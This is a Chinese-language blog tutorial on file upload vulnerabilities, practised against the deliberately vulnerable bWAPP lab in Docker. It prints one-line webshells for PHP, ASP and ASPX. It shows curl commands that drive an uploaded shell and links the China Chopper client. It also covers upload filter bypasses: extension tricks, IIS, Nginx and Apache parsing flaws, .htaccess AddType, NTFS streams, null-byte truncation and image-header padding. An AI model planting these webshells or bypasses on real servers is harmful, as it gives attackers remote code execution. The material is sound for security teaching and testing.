Loading

文件上传漏洞

什么是文件上传漏洞

文件上传(File Upload)例如:用户上传附件、改头像、分享图片、简历投递等。 文件上传漏洞是开发者没有做充足验证(包括前端、后端)情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者WebShell等。

测试环境

docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
docker run -d -p 0.0.0.0:80:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp

访问:http://127.0.0.1:80/install.php

安装bwapp

注册账户

登录

文件上传

WebShell

  • PHP一句话木马

<?php @eval($_POST[“value”]);?>
  • ASP一句话木马

<%execute(request("value"))%>
  • ASPX一句话木马

<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
  • 其他一句话木马

<%eval request("value")%> 
<%execute request("value")%> <%execute(request("value"))%>

 

编辑PHP木马文件并上传

  • eval

PHP4、PHP5、PHP7 eval ———— Evaluate a string as PHP code

Description

 

eval(string $code): mixed
  • 制作PHP一句话木马

<?php @eval($_POST['hacker']); ?>
  • 上传Shell

  • 使用curl 连接shell

curl -d "hacker=echo getcwd();" http://127.0.0.1/images/shell.php
curl -d "hacker=echo get_current_user();" http://127.0.0.1/images/shell.php
  • 使用postman连接

 

 

 

  • 使用中国菜刀

https://github.com/raddyfiy/caidao-official-version

 

 

 

 

 

上传绕过

文件后缀绕过

 

 

  • 修改文件后缀绕过

 

 

  • 为啥后缀为php3可以被识别为php脚本

https://httpd.apache.org/docs/2.4/

docker exec -it `docker ps | grep bwapp | awk -F ' ' '{print $1}'` bash
netstat -anlpt | grep 80

vim /etc/apache2/apache2.conf
cd /etc/apache2/mods-enabled
vim php5.conf

前端验证绕过、.htaccess绕过、大小写绕过

Exploit Database 官方网址 Web Server漏洞

 

IIS 5.X/ 6.0解析漏洞

IIS在解析asp文件的时候,在IIS 5.X/ 6.0版本中会调用一个asp.dll动态链接库来解析我们要访问的文件资源时会触发这两种漏洞 逆向:使用IDA和F5插件逆向asp.dll就可以得到相关代码

  • 漏洞1: 当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都会解析为asp文件

www.xxx.com/xx.asp/xx.jgp 会被解析成asp文件
  • 漏洞2:服务器默认不解析";"以后的内容

www.xxx.com/xx.asp;.jpg 会被解析成为asp文件

Nginx解析漏洞

在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。 PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的。 当URL中有不存的文件时,PHP就会默认向前解析。

访问:wwww.xxx.com/phpinfo.jpg/1.php 当1.php不存在时就会解析phpinfo.jpg文件,但是按照PHP格式解析

Apache解析漏洞

Apache在1.x和2.x版本中存在解析漏洞: Apache从左至右开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,然后将该可识别后缀进行解析。

当访问www.xxx.com/shell.php.text 服务器会解析shell.php.text文件,但是按照PHP文件格式进行解析

前端验证绕过

漏洞利用:

  • 使用BurpSuite抓包,然后修改内容后放行.

  • 同Chrome禁止/删除js代码

.htaccess绕过

.htaccess文件(分布式配置文件)提供了一个方法,是的配置文件可以随文件夹不同而不同,其所防止的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。

漏洞利用:

1、上传一个.htaccess文件,文件内容设置为AddType application/x-httpd-php .test 将.text后缀文件解析为php文件类型 2、上传一句话木马文件,文件名设置为shell.test 3、在浏览器中访问shell.text即可执行一句话木马

大小写绕过

Window平台不区分大小写、Linux平台区分大小写 Linux+Apache 在系统启用加载speling模块,访问URL地址时就不区分大小写就可以正常访问页面

如: php改为pHp

Windows文件流特性绕过

什么是Windows文件流?

NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其它命名的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

我们来用Windows平台做一些测试: echo 111 > test.txt:111.txt echo test > test.txt echo 222 > test.txt::$data

  • notepad 打开创建的文件流

利用这个漏洞进行绕过及webshell上传

%00截断绕过

 

文件头检测绕过

cat test.php >> test.png
php test.png

 

 

Fuzz

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2018-04-09 15:09  KubeSec  阅读(1470)  评论(0)    收藏  举报